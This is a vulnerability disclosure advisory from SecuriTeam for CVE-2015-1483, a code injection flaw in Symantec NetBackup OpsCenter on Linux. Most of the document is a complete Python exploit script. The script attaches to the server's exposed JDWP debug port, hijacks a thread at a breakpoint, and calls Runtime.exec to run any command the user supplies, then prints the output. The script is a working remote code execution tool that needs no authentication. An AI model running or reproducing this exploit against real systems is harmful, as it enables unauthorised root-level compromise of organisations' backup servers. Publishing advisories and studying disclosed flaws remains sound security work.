SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
Symantec NetBackup OpsCenter is an optional web based application that, if installed, is installed separately in a customer’s environment for advanced monitoring, alerting, and reporting capabilities. Symantec NetBackup OpsCenter for Linux/Unix is susceptible to Java Code injection that could potentially result in privileged access to the application.
Vulnerability Details
A vulnerability in Symantec NetBackup OpsCenter when installed on a Linux based operating system allows remote unauthenticated attackers to cause the product to execute arbitrary code. The vulnerability exploits a mechanism that allows users to provide Java code to the server that is then executed as part of its internal process, due to a flaw in the way this code is handled an attacker can cause it to execute arbitrary code of his choice and elevate it to gain root privileges on the remote machine.
Vendor Response
Symantec has released an advisory, Security Advisories Relating to Symantec Products – Symantec NetBackup OpsCenter Server Java Code Injection RCE, that addresses this vulnerability.
CVE
A single CVE entry has been released for this vulnerability, CVE-2015-1483.
Exploit
#!/usr/bin/env python
import socket
import time
import sys
import struct
import urllib
from urlparse import urlparse
import argparse
import re
import requests
import thread
# Exceptions
class ResolveException(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class JdwpException(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
# JDWP protocol variables
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
NEWINSTANCE_SIG = (3, 4)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TAG_CLASS = 99
TYPE_CLASS = 1
# JDWP client class
class JDWPClient:
def __init__(self, host, port=8000):
self.host = host
self.port = port
self.methods = {}
self.fields = {}
self.id = 0x01
return
def create_packet(self, cmdsig, data=""):
flags = 0x00
cmdset, cmd = cmdsig
pktlen = len(data) + 11
pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd))
pkt+= data
self.id += 2
return pkt
def read_reply(self):
header = self.socket.recv(11)
pktlen, id, flags, errcode = struct.unpack(">IIcH", header)
if flags == chr(REPLY_PACKET_TYPE):
if errcode :
raise JdwpException("Received errcode %d" % errcode)
buf = ""
while len(buf) + 11 < pktlen:
data = self.socket.recv(1024)
if len(data):
buf += data
else:
time.sleep(1)
return buf
def parse_entries(self, buf, formats, explicit=True):
entries = []
if explicit:
nb_entries = struct.unpack(">I", buf[:4])[0]
buf = buf[4:]
else:
nb_entries = 1
for i in range(nb_entries):
data = {}
for fmt, name in formats:
if fmt == "L" or fmt == 8:
data[name] = int(struct.unpack(">Q", buf[:8])[0])
buf = buf[8:]
elif fmt == "I" or fmt == 4:
data[name] = int(struct.unpack(">I", buf[:4])[0])
buf = buf[4:]
elif fmt == 'S':
l = struct.unpack(">I", buf[:4])[0]
data[name] = buf[4:4+l]
buf = buf[4+l:]
elif fmt == 'C':
data[name] = ord(struct.unpack(">c", buf[:1])[0])
buf = buf[1:]
elif fmt == 'Z': # zpecifics
t = ord(struct.unpack(">c", buf[:1])[0])
if t == 115: # string (objid)
s = self.solve_string(buf[1:9])
data[name] = s
buf = buf[9:]
elif t == 73: # int
data[name] = struct.unpack(">I", buf[1:5])[0]
buf = struct.unpack(">I", buf[5:9])
else:
raise JdwpException("Invalid response.")
entries.append( data )
return entries
def format(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.pack(">Q", value)
elif fmt == "I" or fmt == 4:
return struct.pack(">I", value)
raise JdwpException("Unknown format.")
def unformat(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.unpack(">Q", value[:8])[0]
elif fmt == "I" or fmt == 4:
return struct.unpack(">I", value[:4])[0]
raise JdwpException("Unknown format.")
def start(self):
self.handshake(self.host, self.port)
self.idsizes()
self.allclasses()
def handshake(self, host, port):
self.socket = socket.socket()
try:
self.socket.connect((host, port))
except socket.error as msg:
raise JdwpException("Failed to connect: %s" % msg)
self.socket.send(HANDSHAKE)
if self.socket.recv(len(HANDSHAKE)) != HANDSHAKE:
raise JdwpException("Failed to handshake.")
def leave(self):
self.socket.close()
def idsizes(self):
self.socket.sendall( self.create_packet(IDSIZES_SIG) )
buf = self.read_reply()
formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
def allthreads(self, refresh=False):
if refresh:
delattr(self, "threads")
try:
getattr(self, "threads")
except :
self.socket.sendall( self.create_packet(ALLTHREADS_SIG) )
buf = self.read_reply()
formats = [ (self.objectIDSize, "threadId")]
self.threads = self.parse_entries(buf, formats)
finally:
return self.threads
def get_thread_by_name(self, name):
self.allthreads()
for t in self.threads:
threadId = self.format(self.objectIDSize, t["threadId"])
self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
buf = self.read_reply()
if len(buf) and name == self.readstring(buf):
return t
return None
def allclasses(self, refresh=False):
if refresh:
delattr(self, "classes")
try:
getattr(self, "classes")
except:
self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
buf = self.read_reply()
formats = [('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
finally:
return self.classes
def get_class_by_name(self, name):
for entry in self.classes:
if entry["signature"].lower() == name.lower() :
return entry
return None
def get_methods(self, refTypeId):
if not self.methods.has_key(refTypeId):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) )
buf = self.read_reply()
formats = [(self.methodIDSize, "methodId"),
('S', "name"),
('S', "signature"),
('I', "modBits")]
self.methods[refTypeId] = self.parse_entries(buf, formats)
return self.methods[refTypeId]
def get_method_by_name(self, name, jni_sig=None):
for refId in self.methods.keys():
for entry in self.methods[refId]:
if entry["name"].lower() == name.lower():
if jni_sig:
if entry["signature"].lower() == jni_sig.lower():
return entry
else:
return entry
return None
def getfields(self, refTypeId):
if not self.fields.has_key( refTypeId ):
refId = self.format(self.referenceTypeIDSize, refTypeId)
self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) )
buf = self.read_reply()
formats = [(self.fieldIDSize, "fieldId"),
('S', "name"),
('S', "signature"),
('I', "modbits")]
self.fields[refTypeId] = self.parse_entries(buf, formats)
return self.fields[refTypeId]
def getvalue(self, refTypeId, fieldId):
data = self.format(self.referenceTypeIDSize, refTypeId)
data+= struct.pack(">I", 1)
data+= self.format(self.fieldIDSize, fieldId)
self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) )
buf = self.read_reply()
formats = [ ("Z", "value") ]
field = self.parse_entries(buf, formats)[0]
return field
def createstring(self, data):
buf = self.buildstring(data)
self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) )
buf = self.read_reply()
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)
def buildstring(self, data):
return struct.pack(">I", len(data)) + data
def readstring(self, data):
size = struct.unpack(">I", data[:4])[0]
return data[4:4+size]
def suspendvm(self):
self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) )
self.read_reply()
return
def resumevm(self):
self.socket.sendall( self.create_packet( RESUMEVM_SIG ) )
self.read_reply()
return
def invokestatic(self, classId, threadId, methId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.methodIDSize, methId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) )
buf = self.read_reply()
return buf
def invoke(self, objId, threadId, classId, methId, *args):
data = self.format(self.objectIDSize, objId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.methodIDSize, methId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) )
buf = self.read_reply()
return buf
def newinstance(self, classId, threadId, constructorId, *args):
data = self.format(self.referenceTypeIDSize, classId)
data+= self.format(self.objectIDSize, threadId)
data+= self.format(self.methodIDSize, constructorId)
data+= struct.pack(">I", len(args))
for arg in args:
data+= arg
data+= struct.pack(">I", 0)
self.socket.sendall( self.create_packet(NEWINSTANCE_SIG, data=data) )
buf = self.read_reply()
return buf
def solve_string(self, objId):
self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) )
buf = self.read_reply()
if len(buf):
return self.readstring(buf)
else:
return ""
def query_thread(self, threadId, kind):
data = self.format(self.objectIDSize, threadId)
self.socket.sendall( self.create_packet(kind, data=data) )
buf = self.read_reply()
return
def suspend_thread(self, threadId):
return self.query_thread(threadId, THREADSUSPEND_SIG)
def status_thread(self, threadId):
return self.query_thread(threadId, THREADSTATUS_SIG)
def resume_thread(self, threadId):
return self.query_thread(threadId, THREADRESUME_SIG)
def send_event(self, eventCode, *args):
data = ""
data+= chr( eventCode )
data+= chr( SUSPEND_ALL )
data+= struct.pack(">I", len(args))
for kind, option in args:
data+= chr( kind )
data+= option
self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) )
buf = self.read_reply()
return struct.unpack(">I", buf)[0]
def clear_event(self, eventCode, rId):
data = chr(eventCode)
data+= struct.pack(">I", rId)
self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) )
self.read_reply()
return
def clear_events(self):
self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) )
self.read_reply()
return
def wait_for_event(self):
buf = self.read_reply()
return buf
def parse_event_breakpoint(self, buf, eventId):
num = struct.unpack(">I", buf[2:6])[0]
rId = struct.unpack(">I", buf[6:10])[0]
if rId != eventId:
return None
tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize])
loc = -1 # don't care
return rId, tId, loc
def error(msg):
print("[-] %s" % msg)
def info(msg):
print("[*] %s" % msg)
def resolve_class(jdwp, class_name, threadId=None):
c = jdwp.get_class_by_name(class_name)
if c is None and threadId:
load_class(jdwp, threadId, class_name)
jdwp.allclasses(refresh=True)
c = jdwp.get_class_by_name(class_name)
if c is None:
raise ResolveException("Could not resolve class '%s'" % class_name)
info("Found '%s' class: id=%x" % (class_name, c["refTypeId"]))
return c["refTypeId"]
def resolve_method(jdwp, class_ref, method_name, jni_sig=None):
jdwp.get_methods(class_ref)
m = jdwp.get_method_by_name(method_name, jni_sig)
if m is None:
raise ResolveException("Could not resolve method '%s'" % method_name)
info("Found '%s' method: id=%x" % (method_name, m["methodId"]))
return m["methodId"]
def set_breakpoint(jdwp, break_on):
break_on_class, break_on_method = str2fqclass(break_on)
cref = resolve_class(jdwp, break_on_class)
if not cref:
error("It is possible that this class is not used by application")
error("Test with another one with option `--break-on`")
return False
mref = resolve_method(jdwp, cref, break_on_method)
if not mref:
error("Could not access method '%s'" % break_on_method)
return False
loc = chr( TYPE_CLASS )
loc+= jdwp.format( jdwp.referenceTypeIDSize, cref)
loc+= jdwp.format( jdwp.methodIDSize, mref)
loc+= struct.pack(">II", 0, 0)
data = [(MODKIND_LOCATIONONLY, loc),]
rId = jdwp.send_event(EVENT_BREAKPOINT, *data)
info("Created breakpoint event id=%x" % rId)
return rId
def invoke(jdwp, instanceId, threadId, classId, methodId, expected_tag, *data):
buf = jdwp.invoke(instanceId, threadId, classId, methodId, *data)
if buf[0] != chr(expected_tag):
error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0]))
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
return retId
def invokestatic(jdwp, classId, threadId, methodId, expected_tag, *data):
buf = jdwp.invokestatic(classId, threadId, methodId, *data)
if buf[0] != chr(expected_tag):
error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0]))
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
return retId
def newinstance(jdwp, classId, threadId, constructorId, expected_tag, *data):
buf = jdwp.newinstance(classId, threadId, constructorId, *data)
if buf[0] != chr(expected_tag):
error("Unexpected returned type: expecting '%c', received '%c'" % (expected_tag, buf[0]))
return False
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
return retId
def createstring(jdwp, data):
strObjIds = jdwp.createstring(data)
if len(strObjIds) == 0:
error("Failed to allocate command")
return False
strObjId = strObjIds[0]["objId"]
info("Command string object created id:%x" % strObjId)
return strObjId
def load_class(jdwp, threadId, class_name):
classClass = resolve_class(jdwp, "Ljava/lang/Class;")
if not classClass:
error("Could not found 'Class' class.")
return False
loadClassMethod = resolve_method(jdwp, classClass, "forName")
# load needed class
class_name = jni2str(class_name)
classStr = createstring(jdwp, class_name)
data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, classStr)]
classInstance = invokestatic(jdwp, classClass, threadId, loadClassMethod, TAG_CLASS, *data)
return True
def execute(jdwp, cmd, threadId, runtimeClass, getRuntimeMethod, execMethod, processClass, getInputStreamMethod, scannerClass, scannerConstructor, useDelimiterMethod, nextMethod):
# allocating string containing our command to exec()
commandInstance = createstring(jdwp, cmd)
# invoke getRuntime()
runtimeInstance = invokestatic(jdwp, runtimeClass, threadId, getRuntimeMethod, TAG_OBJECT)
info("Runtime.getRuntime() returned context id:%#x" % runtimeInstance)
# invoke exec()
data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, commandInstance)]
processInstance = invoke(jdwp, runtimeInstance, threadId, runtimeClass, execMethod, TAG_OBJECT, *data)
info("Runtime.exec() returned context id=%x" % processInstance)
# invoke getInputStream() on process
inputStreamInstance = invoke(jdwp, processInstance, threadId, processClass, getInputStreamMethod, TAG_OBJECT)
info("Process.getInputStream() returned context id=%x" % inputStreamInstance)
# invoke java.util.Scaner constructor
data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, inputStreamInstance)]
scannerInstance = newinstance(jdwp,scannerClass, threadId, scannerConstructor, TAG_OBJECT, *data)
info("new Scanner() returned context id=%x" % scannerInstance)
# invoke useDelimiter()
delimiterInstance = createstring(jdwp, "\\Z")
data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, delimiterInstance)]
scannerInstance = invoke(jdwp, scannerInstance, threadId, scannerClass, useDelimiterMethod, TAG_OBJECT, *data)
info("Scanner.useDelimiter() returned context id=%x" % scannerInstance)
# invoke next()
retInstance = invoke(jdwp, scannerInstance, threadId, scannerClass, nextMethod, TAG_STRING)
info("Scanner.next() returned context id=%x" % retInstance)
# get string value
res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retInstance))
print("")
print("%s" % res)
print("")
return True
def trigger(url):
requests.get(url)
def exploit(jdwp, break_on, target, url, cmd):
# setup breakpoint
bpId = set_breakpoint(jdwp, break_on)
if not bpId:
error("Exploit failed.")
return False
# resume vm and wait for event
jdwp.resumevm()
info("Waiting for an event on '%s'" % break_on)
while True:
thread.start_new_thread(trigger, (url,))
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, bpId)
if ret is not None:
break
bpId, threadId, loc = ret
info("Received matching event from thread %#x" % threadId)
# remove breakpoint
jdwp.clear_event(EVENT_BREAKPOINT, bpId)
# resolve classes and methods
runtimeClass = resolve_class(jdwp, "Ljava/lang/Runtime;", threadId)
getRuntimeMethod = resolve_method(jdwp, runtimeClass, "getRuntime")
execMethod = resolve_method(jdwp, runtimeClass, "exec", "(Ljava/lang/String;)Ljava/lang/Process;")
processClass = resolve_class(jdwp, "Ljava/lang/Process;", threadId)
getInputStreamMethod = resolve_method(jdwp, processClass, "getInputStream")
scannerClass = resolve_class(jdwp, "Ljava/util/Scanner;", threadId)
scannerConstructor = resolve_method(jdwp, scannerClass, "<init>", "(Ljava/io/InputStream;)V")
useDelimiterMethod = resolve_method(jdwp, scannerClass, "useDelimiter", "(Ljava/lang/String;)Ljava/util/Scanner;")
nextMethod = resolve_method(jdwp, scannerClass, "next")
# execute the command
execute(jdwp, cmd, threadId, runtimeClass, getRuntimeMethod, execMethod, processClass, getInputStreamMethod, scannerClass, scannerConstructor, useDelimiterMethod, nextMethod)
# resume vm
jdwp.resumevm()
return True
def str2fqclass(s):
i = s.rfind('.')
if i == -1:
return False
method = s[i:][1:]
classname = 'L' + s[:i].replace('.', '/') + ';'
return classname, method
def jni2str(s):
m = re.match("^L([^;]+);$", s)
if m:
return m.group(1).replace("/", ".")
else:
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, metavar="URL", help="Remote OpsCenter URL (http://<remote>/opscenter/)")
parser.add_argument("cmd", type=str, metavar="CMD", help="Command to execute")
parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")
parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
args = parser.parse_args()
try:
print("")
print("##################################################################")
print("# Symantec OpsCenter 7.6.x for Linux remote code execution #")
print("##################################################################")
print("")
url = urlparse(args.url)
cli = JDWPClient(url.hostname, args.port)
cli.start()
if exploit(cli, args.break_on, url.hostname, args.url, args.cmd) == False:
error("Exploit failed")
except KeyboardInterrupt:
pass
except Exception, e:
error("Exception: %s" % e)
finally:
cli.leave()
exit()